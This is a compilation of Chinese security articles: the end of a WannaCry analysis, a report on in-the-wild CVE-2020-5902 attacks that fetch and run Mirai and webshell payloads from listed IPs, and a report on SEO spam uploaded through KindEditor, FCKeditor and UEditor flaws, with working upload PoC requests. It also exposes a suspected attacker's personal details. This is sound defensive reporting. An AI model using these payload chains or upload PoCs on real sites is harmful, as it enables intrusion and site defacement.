之后通过内置的RSA公钥解密对应的t.wnry，该模块为对应的RansomModule，用于实现真正的文件加密功能，如下所示，解密之后通过fun_shell_loadTaskStardll加载该dll到内存中，并调用TaskStart函数开始进行加密流程。
如下图示可以看到对fun_decryptTwnry函数下断，函数运行结束之后，内存中已经解密出了RansomModule，可以直接进行dump。
**RansomeModule**
如下图所示dump出的RansomModule的导出函数如下所示，通过TaskStart开始加密任务。
该RansomeModule的加密流程如下，黑客掌握一对公私钥A1/A2，A1公钥在样本中，A2私钥为黑客持有，RansomModule通过该公钥A1生成一对新的RSA公私钥B1/B2，公钥B1保存到文件00000000.pky中，私钥B2通过公钥A1加密保存到00000000.eky中，遍历文件并对每一个文件生成随机的AES128位秘钥C，通过公钥B1加密AES秘钥C，并用C对文件进行加密，之后将被加密AES秘钥C附加在文件内容中。
如下所示样本首先获取file/crypt类函数，之后分别生成两个用于保存公私钥的文件名，之后通过函数fun_shell_testEncryptreliableOrnot测试内置公钥的的可靠性。
如下所示对首先通过加密TESTDATA字符测试该公钥的加密可行性。
之后在函数fun_optionKey中通过该内置的公钥生成一对RSA公私钥A1/A2，并保存到对应的文件00000000.pky，00000000eky中。
之后运行一系列线程初始化运行环境，如下图中fun_starTaskdl用于调用Taskdl.exe删除临时文件，最后进行fun_enterEncrypt开始加密流程。
进入fun_enterEncrypt后，首先调用fun_runBatchangFilename，之后通过命令行关闭一些重要进程，以保证对应的文件能成功被加密。
fun_runBatchangFilename中运行通过一个脚本设置一个link，将u.wnry重命名为@[email protected]，该exe即为受害者能看到的勒索展示程序。
之后开始遍历文件，如下所示过滤掉ransom自己的文件，然后对比文件后缀是否为内置需要加密的文件类型。
支持的加密文件如下所示：
之后创建AES秘钥并开始加密，注意此处会随机挑选几个文件使用内置的RSA公钥来进行加密，这里的目的是为解密程序提供的免费解密部分文件功能演示。
**四、 一些思考**
蠕虫样本的分析显示其结构和功能并不复杂，也没有做什么技术上的对抗。为什么在全球范围内形成了如此大的危害，其核心还是在于其所依赖的蠕虫式传播手段。蠕虫攻击传播所利用的漏洞微软在2017年3月已经修补，而在4月Shadow
Brokers公开了蠕虫所基于的NSA黑客工具以后，安全业界对于可能出现蠕虫其实已经有所警觉，并再次提醒更新系统，但似乎并没什么用。
这回的蠕虫事件本质上是对企业机构的内部网络安全运维一次大考，如果企业有比较完善的IT运维策略并得以有效地落地执行，安全补丁能被及时打上，在本次勒索大潮中可安然度过，反之，则必然经历一场伤痛。
**五、 参考引用**
[1] WanaCrypt0r勒索蠕虫完全分析报告
<http://bobao.360.cn/learning/detail/3853.html>
[2] Wannacry勒索软件母体主程序逆向分析
<http://www.freebuf.com/vuls/134602.html>
[3] WannaCry蠕虫详细分析
<http://www.freebuf.com/articles/system/134578.html>
[4] Wannacry 勒索软件分析
<https://mp.weixin.qq.com/s/CTPvdIcryGYiGHKQyNROyA>
[5] 关于“魔窟”（WannaCry）勒索蠕虫变种情况的进一步分析
[http://www.antiy.com/response/Antiy_Wannacry_Explanation.html?from=groupmessage&isappinstalled=0](http://www.antiy.com/response/Antiy_Wannacry_Explanation.html?from=groupmessage&isappinstalled=0)
[6] WannaCry and Lazarus Group – the missing link?
<https://securelist.com/blog/research/78431/wannacry-and-lazarus-group-the-missing-link/>
[7] the-worm-that-spreads-wanacrypt0r
<https://blog.malwarebytes.com/threat-analysis/2017/05/the-worm-that-spreads-wanacrypt0r/>
[8] how-to-accidentally-stop-a-global-cyber-attacks
<https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html>
[9] WanaCry Ransomware：Potential Link to North Korea
<http://www.intezer.com/wp-content/uploads/2017/05/Intezer_WannaCry.pdf>
[10] Player 3 Has Entered the Game: Say Hello to 'WannaCry'
[http://blog.talosintelligence.com/2017/05/wannacry.html?m=1&nsukey=0iYxeUP%2BZU1uMlAkxW%2FksDg0RiWTLnUGIC2KF597siLZgc3qDVK7XZMWKuhZ4RZhlW3%2BujNrSiujH1ZxR0awd6vxNsLbR61jXdVlJT7hMX3pH7gkSrhVA%2B6w%2BvT8T0bXgAmQGZOAtHfWkNjeW9lY68RaTM7fIaoNjQvQus3P0kgxvXqOZp4NSwqmsHFZTTSm](http://blog.talosintelligence.com/2017/05/wannacry.html?m=1&nsukey=0iYxeUP%2BZU1uMlAkxW%2FksDg0RiWTLnUGIC2KF597siLZgc3qDVK7XZMWKuhZ4RZhlW3%2BujNrSiujH1ZxR0awd6vxNsLbR61jXdVlJT7hMX3pH7gkSrhVA%2B6w%2BvT8T0bXgAmQGZOAtHfWkNjeW9lY68RaTM7fIaoNjQvQus3P0kgxvXqOZp4NSwqmsHFZTTSm) | 社区文章 |
# F5 RCE（CVE-2020-5902）在野攻击事件调查
##### 译文声明
本文是翻译文章，文章原作者 noahblog，文章来源：noahblog.360.cn
原文地址：<http://noahblog.360.cn/f5-rce-in-wild-investigation/>
译文仅供参考，具体内容表达以及含义原文为准。
[F5 Networks官方](https://support.f5.com/csp/article/K52145254)在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞（CVE-2020-5902）。利用此漏洞的攻击层出不穷，我们对这些事件进行了总结，以期对近日来的事件进行完整阐述。
## 漏洞简述
该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包，在系统上执行任意系统命令、创建或删除文件、禁用服务等。
根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据，截至2020年7月10日，全球至少有80000台存在此漏洞的资产，具体分布如下图所示：
CVE-2020-5902漏洞分布
通过对该漏洞活跃情况研判，得到其全球态势和漏洞生命周期：
从360安全大脑的全网视野里可以看出，在7月2日漏洞利用细节公布，7月4日开始传播后，7月6日全网受影响设备居于峰值，此后由于缓解措施发布实施，漏洞活跃状态逐步回落。
## 时间线
* 2020-7-1：F5 Networks官方发布通告，缓解措施为在配置文件中添加以下内容：
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
* 2020-7-2：漏洞相关技术细节公布
* 2020-7-3：漏洞扫描流量被监测到
* 2020-7-5：[@x4ce在推特上公开披露漏洞利用PoC](https://twitter.com/x4ce/status/1279790599793545216)
* 2020-7-6：metasploit集成exp
* 2020-7-7：[研究人员发现F5官方发布的缓解措施能够被绕过](https://twitter.com/TeamAresSec/status/1280590730684256258)；而监测发现，在推特发布6小时前，野外即有bypass的利用payload；同日，F5官方更新通告，修复后的配置内容为：
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
* 7.10日， F5官方再次更新通告，配置更新为：
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
## 漏洞攻击情报
根据[NCC
groups发布的报告](https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/)，7月4日就有攻击者尝试使用该漏洞进行攻击，但攻击者数量较少；360安全大脑专家云的事件调查专家也在国内观测到，在exp公布前几个小时，已经存在利用[twitter上公布的poc](https://twitter.com/joaomatosf/status/1279566951442976768)进行扫描的流量；完整功能的exp公布后，扫描流量也随即改变。
从exp公开发布起的5天内，360就已在国内捕获到超过2万次CVE-2020-5902的扫描请求，其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit
exp。可以看出，该漏洞已经引发了大量关注。截止目前我们尚未观测到国内有相关资产已经遭受攻击。
尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起，但他们不会错过如此的“大好机会”。仅仅在exp公开（7月5日）后不到一天的时间内，国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。
## 攻击手段
根据我们的观察分析，目前攻击手段主要包括以下几种。
### 利用cve-2020-5902，下发脚本，下载远程payload执行
我们分析推测，恶意脚本通过fileSave.jsp接口上传到tmp目录，之后利用tmshCmd.jsp接口执行。从手法上来看，此类攻击极有可能是利用msf相关模块进行的。
* Payload地址：<http://217.12>[.]199[.]179/b.sh
脚本下发时间：2020年7月6日
脚本内容：
脚本功能：
创建crontab（即linux系统的计划任务），从远程地址<http://217.12.199>[.]179/b.sh获取脚本并执行；该脚本为b.sh的复制，我们推测此任务是为后续脚本下发做准备。
* Payload地址：<http://45.77.28>[.]70[:]80/inf5.sh
脚本下发时间：2020年7月6日
脚本内容：
（图片来自NCC group）inf5.sh
脚本功能：
使用curl命令，从地址<http://45.77.28>[.]70[:]80/inf5.sh下载脚本执行。
inf5.sh是一个安装脚本，用来在/etc/init.d目录下创建文件network2，释放脚本/etc/.modules/.tmp，并将network2加入开机启动项，最后执行.tmp脚本；network2文件内容即为启动.tmp。
.tmp脚本是一个downloader，用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet
Mirai修改的一个变种。
* Payload地址：<http://103.224.82>[.]85[:]8000/zabbix
脚本下发时间：2020年7月6日
脚本内容：
（图片来自NCC Group）
脚本功能：
从地址<http://103.224.82>[.]85[:]8000/zabbix下载到/var/log/F5-logcheck，使用touch命令修改时间戳，将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时，目标地址已不可用，但根据[国外研究人员获取到的信息](https://twitter.com/buffaloverflow/status/1280258870942760963)，该样本是一个go语言编写的agent和控制器GoMet。
### 利用cve-2020-5902，通过命令或脚本下发php webshell
除了下发脚本执行以外，有的攻击者选择上传webshell以便获取持续的权限。（详见 [RIFT: F5 Networks K52145254: TMUI
RCE vulnerability CVE-2020-5902
Intelligence](https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/)）
### cve-2020-5902结合hsqldb Java反序列化漏洞执行命令
2020年7月7日，有研究人员发现hsqldb
中存在java反序列化漏洞，并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内，有攻击者利用此方式发起了攻击，并且利用相似的方式绕过了F5
Networks官方通告中的缓解措施；而6小时后，才有研究人员公开宣布，[缓解措施可被绕过](https://twitter.com/TeamAresSec/status/1280553293320781825)。由此可见，在利用CVE-2020-5902进行攻击的人员中，不乏较高能力的攻击者。
### 攻击者关联
我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中，我们认为其中至少三个（payload为inf5.sh和zabbix的脚本，以及bg_status.php）是来自同一攻击者/攻击组织。
虽然两个脚本内容和功能完全不同，但我们在对inf5.sh脚本进行关联分析时，发现了一个新的脚本（dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c），该脚本在目标主机中释放了新的payload，并清除了上一阶段释放的文件，其中包括/var/log/F5-logchec*，/etc/init.d/network，/tmp/dvrHelper以及bg_status.php。
清除文件
另外，攻击者在释放新的payload时，使用了与创建webshell相同的手段，即”echo [base64 encoded content] |
base64 –d >
[file]”。因此，结合之前清除的文件名信息，如果该脚本确实来自攻击者，那么可以认为，这些不同的payload是由同一个攻击者在不同时间植入目标系统的。
base64解码释放payload
在对inf5.sh分析时，我们还关联到了另外的IP：45.249.92[.]59。该IP在5月初-6月间被使用；我们分析了相关样本和脚本后认为，这是在45.77.28[.]70之前被用于存放文件的服务器IP，现已关闭。
通过进一步的分析我们发现，该攻击者/攻击组织并非“单线程”攻击：他们还使用相同的手法，[利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击](https://twitter.com/bad_packets/status/1279611256547143680)，相关payload同样位于服务器45.77.28[.]70上。
从这些行为来看，我们认为，这些攻击背后是一个攻击组织而非个人，主要通过漏洞利用方式入侵linux或IoT设备，目的即为构建僵尸网络以满足其利益需求。
## 小结
根据现有的攻击行为来看，攻击者发起的主要是无差别攻击，通过漏洞对目标系统实施控制，即试图将存在漏洞的系统作为其僵尸网络的一部分，以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统，来获取进一步的控制。
虽然我们暂未得知是否有更严重的攻击事件出现，但可以推测，攻击者能够通过漏洞上传任意文件、执行任意系统命令，那么，他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛，并且引起众多攻击者/攻击组织关注的情况下，我们只能推测，这些事件的发生是迟早的，该漏洞的严重程度不可小觑。
尽管F5
Networks在其通告中给出了临时缓解措施并且在不断更新，我们仍然建议将系统版本升级至不受影响的版本（如15.1.0.4），以避免由于新的绕过技术出现导致现有的缓解措施失效，给网络系统带来不必要的损失。
## IoCs
HASH
bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c
IP
45.249.92.59
45.249.92.60
URL
http[:]//217.12.199.179/b.sh
http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix
## 参考链接
[1] <https://support.f5.com/csp/article/K52145254>
[2] <https://twitter.com/x4ce/status/1279790599793545216>
[3] <https://twitter.com/TeamAresSec/status/1280590730684256258>
[4] <https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/>
[5] <https://twitter.com/joaomatosf/status/1279566951442976768>
[6] <https://twitter.com/buffaloverflow/status/1280258870942760963>
[7] <https://twitter.com/TeamAresSec/status/1280553293320781825>
[8] <https://twitter.com/bad_packets/status/1279611256547143680> | 社区文章 |
**作者：SanLorewalker@知道创宇404积极防御实验室**
### 一、背景
知道创宇威胁情报中心-业务安全舆情监测平台不断发现大量网站被植入非法SEO内容页面，且最近有明显上升的现象，2020年4月至6月发现了6,802个网站被植入了4,955,586个非法SEO内容页面，知道创宇404积极防御实验室的安全研究员针对该现象了进行了分析、溯源。
被非法植入SEO页面的域名备案省份分布如下：
图 1 非法植入SEO页面省份分布图
其中，企业占了67%；政府机关、事业单位等国家机构占比4%，如下图：
图 2 网站性质分布比例图
被植入非法SEO页面的存活统计如下：
图 3 非法SEO页面存活比例图
### 二、详细分析
访问这些被植入的页面会自动跳转到博彩网站、色情网站。这些页面通过嵌入大量暗链、伪装成404错误页面、写入到PDF文件内容中等多种方法来提高在搜索引擎中的排名。
#### 1\. 非法SEO页面植入案例
被植入的非法SEO页面有如下几种：
图 4 访问页面后跳转到博彩网站
图 5 页面内包含大量色情信息以及暗链
图 6 页面内包大量暗链以及非法捏造新闻内容
图 7 非法植入传奇页面
图 8 在html头部隐藏植入博彩信息和页面跳转脚本
图 9 404页面伪装
图 10 直接植入博彩页面
图 11 将博彩信息植入PDF文件内
图 12 搜狗页面隐藏色情页面内容
#### 2\. 日志分析
经分析，发现这些网站大部分使用了KindEditor、UEditor和FCKeditor。KindEditor和UEditor在默认配置的情况下允许访客上传文件，FCKeditor在配置不当的情况下会导致访客任意上传文件。
对使用KindEditor的网站日志分析，政府机构、教育机构、事业单位、企业等网站都存在异常数据流量，其特征都是访问不同网站的同一个目录文件：
www.*.com/kindeditor/*/upload_json.ashx?dir=image
以KindEditor为关键字，在谷歌搜索上找到大量的被非法注入的SEO内容的页面：
图 13
知道创宇云安全CDN捕获到黑客的上传请求：
2020-06-28 16:53:49 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 17:00:20 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:58 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:07 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:26 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:48 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:52 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:55:11 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:55:30 180.104.*.* POST www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:58:22 58.216.*.* POST www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:24:25 58.216.*.* POST www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:00:13 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:45 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:24 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:32 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:48:53 45.89.*.* POST jtj.*.gov.cn/js/kindeditor/jsp/upload_json.jsp?dir=file
2020-06-28 16:59:27 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:04 106.115.*.* POST www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:54:57 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:40 27.38.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:24 27.38.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:16 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:32 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:50 223.113.*.* POST b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
经过统计，80%的非法植入页面都与KindEditor编辑器有关，并且 KindEditor编辑器的版本号都小于4.1.12。
#### 3\. 编辑器漏洞分析
##### 3.1 影响范围
知道创宇ZoomEye检索到KindEditor编辑器相关记录 29,595条、FCKeditor编辑器记录238,711条、UEditor编辑器记录
18,648条，如下所示：
图 14 KindEditor编辑器
图 15 FCKeditor编辑器
图 16 UEditor编辑器
使用ZoomEye网络搜索引擎快速评估了三种编辑器漏洞的影响范围，其中UEditor主要省市分布如下： 
FCKeditor主要省市分布如下： 
KindEditor主要省市分布如下： 
##### 3.2 KindEditor 编辑器文件上传漏洞分析
KindEditor < 4.1.12
版本存在任意文件上传漏洞，文件`KindEditor/php/upload_json.php`是演示程序，不检查访问者的权限以及内容即可上传文件，且很多网站系统没有删除该文件，造成恶意用户上传非法内容。`upload_json.php`关键代码如下所示：
/有上传文件时
if (empty($_FILES) === false) {
//原文件名
$file_name = $_FILES['imgFile']['name'];
//服务器上临时文件名
$tmp_name = $_FILES['imgFile']['tmp_name'];
//文件大小
$file_size = $_FILES['imgFile']['size'];
//检查文件名
if (!$file_name) {
alert("请选择文件。");
}
//检查目录
if (@is_dir($save_path) === false) {
alert("上传目录不存在。");
}
//检查目录写权限
if (@is_writable($save_path) === false) {
alert("上传目录没有写权限。");
}
//检查是否已上传
if (@is_uploaded_file($tmp_name) === false) {
alert("上传失败。");
}
//检查文件大小
if ($file_size > $max_size) {
alert("上传文件大小超过限制。");
}
//检查目录名
$dir_name = empty($_GET['dir']) ? 'image' : trim($_GET['dir']);
if (empty($ext_arr[$dir_name])) {
alert("目录名不正确。");
}
//获得文件扩展名
$temp_arr = explode(".", $file_name);
$file_ext = array_pop($temp_arr);
$file_ext = trim($file_ext);
$file_ext = strtolower($file_ext);
//检查扩展名
if (in_array($file_ext, $ext_arr[$dir_name]) === false) {
alert("上传文件扩展名是不允许的扩展名。\n只允许" . implode(",", $ext_arr[$dir_name]) . "格式。");
}
//创建文件夹
if ($dir_name !== '') {
$save_path .= $dir_name . "/";
$save_url .= $dir_name . "/";
if (!file_exists($save_path)) {
mkdir($save_path);
}
}
$ymd = date("Ymd");
$save_path .= $ymd . "/";
$save_url .= $ymd . "/";
if (!file_exists($save_path)) {
mkdir($save_path);
}
//新文件名
$new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext;
//移动文件
$file_path = $save_path . $new_file_name;
if (move_uploaded_file($tmp_name, $file_path) === false) {
alert("上传文件失败。");
}
@chmod($file_path, 0644);
$file_url = $save_url . $new_file_name;
header('Content-type: text/html; charset=UTF-8');
$json = new Services_JSON();
echo $json->encode(array('error' => 0, 'url' => $file_url));
exit;
}
POC如下:
POST /asp/upload_json.asp?dir=file HTTP/1.1
Host: www.*.com
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 80432
Content-Type: multipart/form-data; boundary=------------------------9f9be5bc74ffdc89
Expect: 100-continue
HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 05:26:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 85
Connection: keep-alive
Cache-Control: private
Set-Cookie: ASPSESSIONIDSCQCSSTQ=HCFCPMPCKGEKEBLLNIBOJOBL; path=/
X-Via-JSL: 9f68ad3,- Set-Cookie: __jsluid_h=735a5857c6600e858cbf1e17cbf444f3; max-age=31536000; path=/; HttpOnly
X-Cache: bypass
{"error":0,"url":"\/asp\/..\/company\/upimages\/20200709\/20200709132665736573.html"}
##### 3.3 FCKeditor 编辑器文件上传漏洞分析
PHP 版本 <= 2.4.2 在处理PHP 上传的地方并未对用户进行上传文件类型的控制，导致用户上传任意文件。
通过测试分析，发现上传文件的接口：
www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/
关键参数有：Command、Type和CurrentFolder。
首先在源码中，查找Command、Type和CurrentFolder三个参数相关的代码：
$sCommand = $_GET['Command'] ;
$sResourceType = $_GET['Type'] ;
$sCurrentFolder = $_GET['CurrentFolder'] ;
sCommand变量，当该变量值为“FileUpload”时，会通过FileUpload函数处理：
if ( $sCommand == 'FileUpload' )
{
FileUpload( $sResourceType, $sCurrentFolder ) ;
return ;
}
FileUpload（位于commands.php）只是简单的对文件后缀名做了黑名单限制：
$arDenied = $Config['DeniedExtensions'][$resourceType] ;
未对非法内容进行过滤，也没有进行权限限制，就可以利用这一点进行非法SEO内容上传。
POC如下：
POST /gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29373750073747171394011132748
Content-Length: 325
Origin: http://www.*.com
Connection: close
Referer: http://www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/frmupload.html
Upgrade-Insecure-Requests: 1
-----------------------------29373750073747171394011132748
Content-Disposition: form-data; name="NewFile"; filename="testtest.html"
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<title>test title</title>
</head>
<body>
<p>girl<p>
</body>
</html>
-----------------------------29373750073747171394011132748--
HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 02:18:42 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 112
<script type="text/javascript">window.parent.frames["frmUpload"].OnUploadCompleted(0,"testtest.html") ;</script>
##### 3.4 UEditor 编辑器文件上传漏洞分析
UEditor 1.4.3.3
的.NET语言版本存在任意文件上传漏洞。因为编辑器上传接口暴露：`/ueditor/net/controller.ashx?action=catchimage`，网站开发人员未对其进行安全设置，造成任意文件上传漏洞。
在UEditor 中有一个上传逻辑部分的controller.php文件，如下所示：
date_default_timezone_set("Asia/chongqing");
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
$CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
case 'config':
$result = json_encode($CONFIG);
break;
/ 上传图片 /
case 'uploadimage':
/ 上传涂鸦 /
case 'uploadscrawl':
/ 上传视频 /
case 'uploadvideo':
/ 上传文件 /
case 'uploadfile':
$result = include("action_upload.php");
break;
/ 列出图片 /
case 'listimage':
$result = include("action_list.php");
break;
/ 列出文件 /
case 'listfile':
$result = include("action_list.php");
break;
/ 抓取远程文件 /
case 'catchimage':
$result = include("action_crawler.php");
break;
default:
$result = json_encode(array(
'state'=> '请求地址出错'
));
break;
}
每当抓取远程数据源时，都会进入“catchimage”分支，而Crawler方法对source[]的检查仅仅是一个ContentType：
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
因此，恶意用户就可以通过构造以下代码上传任意文件，POC如下所示:
POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Upgrade-Insecure-Requests: 1
source%5B%5D=http%3A%2F%2Fwww.*.com
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: Thu, 09 Jul 2020 06:38:58 GMT
Connection: close
Content-Length: 105
{"state":"SUCCESS","list":[{"state":"Url is not an image","source":"http://www.*.com","url":null}]}
#### 4\. IP分析
从知道创宇云安全CDN数据中抽取6月28日的日志记录，统计因编辑器漏洞导致上传次数大于10次的异常IP：
IP | 地理位置 | 上传次数
---|---|---
106.115.x.x | 河北 | 96
80.251.x.x | 美国 | 90
104.233.x.x | 日本 | 30
58.216.x.x | 江苏 | 30
112.53.x.x | 江苏 | 24
218.4.x.x | 江苏 | 13
119.180.x.x | 山东 | 10
抽取了一个6月活跃的IP，节选的片段如下所示：
2020-06-28 16:11:18 58.216.*.* jggw.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:40:12 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 15:48:56 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
2020-06-28 15:49:11 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
2020-06-28 17:04:47 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=file
2020-06-28 11:04:33 58.216.*.* ciip.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:09 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:13 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:17 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 11:37:20 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image 2020-06-28 16:30:20 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:31:17 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:39:01 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:39:12 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 12:08:24 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 12:08:36 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:49:55 58.216.*.* gxj.*.gov.cn /api.php?op=upload_json&dir=file
2020-06-28 16:51:03 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:10 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:18 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
有着相同的规律：每5秒到10秒就发送一次POST非法SEO页面请求，且该IP在三天内没有一次访问过受害网站，因此可以判断黑客利用非法工具对网站进行了批量上传页面操作。
#### 5\. 黑客溯源
经分析，这些网站都有共同存在的暗链：
链接 | 描述
---|---
www.ikaidian.net/css.js | 恶意伪造虚假八卦消息的网站
www.htmljpg.com | 外表小说网站其实暗链综合网站
www.113112.xyz | 存储大量色情图片的网站
www.ikaidian.net/css.js 截图如下：
图 17
www.ikaidian.net/404.js的内容截图如下：
图 18
继续打开，里面藏着一个账号：E-mail:[email protected]
图 19
用谷歌搜索，所有结果都是色情页面，布局格式和上文找到植入非法SEO内容一致：
图 20
必应搜索结果如下所示：
图 21
点进网页，搜索源码，发现一段有效信息：
图 22
有效信息如下：
Name: facai chen
Street: guangdongshengzhongshanshizhongshanjie
Postal Code: 528400
Phone: +86.1317****648
Email: [email protected]
邮编与街道相符，手机号为山东滨州联通的电话号码。
微信查找手机号，疑似黑客的微信：
图 23
微信头像疑似为本人照片： 
图 24
根据追溯结果显示，该漏洞已被国内黑产人员大批量自动化利用。
* * * | 社区文章 |
在域内遇到瓶颈时，不妨看看域内机器开放的共享，获取有些收获。
## 0x00 前言
大多数内网渗透总结在提到使用 `WinAPI枚举系统` 只是讲述了利用 `NetSessionEnum` 来找寻`登陆 sessions`， 利用
`NetWkstaUserEnum` 来枚举登陆的用户，利用 `NetShareEnum` 来找寻共享，但却未说明其原型理论。由于前篇文章
[【域渗透】域内会话收集](\[https://rcoil.me/2019/10/【域渗透】域内会话收集/\]\(https://rcoil.me/2019/10/%E3%80%90%E5%9F%9F%E6%B8%97%E9%80%8F%E3%80%91%E5%9F%9F%E5%86%85%E4%BC%9A%E8%AF%9D%E6%94%B6%E9%9B%86/))
